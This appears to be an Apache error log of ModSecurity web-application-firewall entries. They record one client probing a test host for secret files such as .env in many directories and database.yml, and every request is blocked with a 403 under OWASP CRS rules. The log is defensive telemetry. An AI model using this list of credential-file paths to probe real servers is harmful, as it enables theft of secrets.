[Mon Jul 28 20:45:57.422001 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelSwAAAAg&quot;]
[Mon Jul 28 20:45:57.422142 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelSwAAAAg&quot;]
[Mon Jul 28 20:45:57.442154 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTAAAAAg&quot;]
[Mon Jul 28 20:45:57.442329 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTAAAAAg&quot;]
[Mon Jul 28 20:45:57.442495 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTAAAAAg&quot;]
[Mon Jul 28 20:45:57.462594 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTQAAAAg&quot;]
[Mon Jul 28 20:45:57.462812 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTQAAAAg&quot;]
[Mon Jul 28 20:45:57.462995 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTQAAAAg&quot;]
[Mon Jul 28 20:45:57.482916 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTgAAAAg&quot;]
[Mon Jul 28 20:45:57.483100 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTgAAAAg&quot;]
[Mon Jul 28 20:45:57.483280 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTgAAAAg&quot;]
[Mon Jul 28 20:45:57.503228 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTwAAAAg&quot;]
[Mon Jul 28 20:45:57.503430 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTwAAAAg&quot;]
[Mon Jul 28 20:45:57.503588 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelTwAAAAg&quot;]
[Mon Jul 28 20:45:57.523564 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelUAAAAAg&quot;]
[Mon Jul 28 20:45:57.523746 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelUAAAAAg&quot;]
[Mon Jul 28 20:45:57.523909 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelUAAAAAg&quot;]
[Mon Jul 28 20:45:57.713989 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelWQAAAAg&quot;]
[Mon Jul 28 20:45:57.714213 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelWQAAAAg&quot;]
[Mon Jul 28 20:45:57.714411 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelWQAAAAg&quot;]
[Mon Jul 28 20:45:57.755659 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelWwAAAAg&quot;]
[Mon Jul 28 20:45:57.755846 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelWwAAAAg&quot;]
[Mon Jul 28 20:45:57.756003 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelWwAAAAg&quot;]
[Mon Jul 28 20:45:57.775963 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cms/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXAAAAAg&quot;]
[Mon Jul 28 20:45:57.776139 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXAAAAAg&quot;]
[Mon Jul 28 20:45:57.776318 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXAAAAAg&quot;]
[Mon Jul 28 20:45:57.796280 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXQAAAAg&quot;]
[Mon Jul 28 20:45:57.796517 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXQAAAAg&quot;]
[Mon Jul 28 20:45:57.796667 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXQAAAAg&quot;]
[Mon Jul 28 20:45:57.816758 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXgAAAAg&quot;]
[Mon Jul 28 20:45:57.816929 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXgAAAAg&quot;]
[Mon Jul 28 20:45:57.817077 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXgAAAAg&quot;]
[Mon Jul 28 20:45:57.837096 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXwAAAAg&quot;]
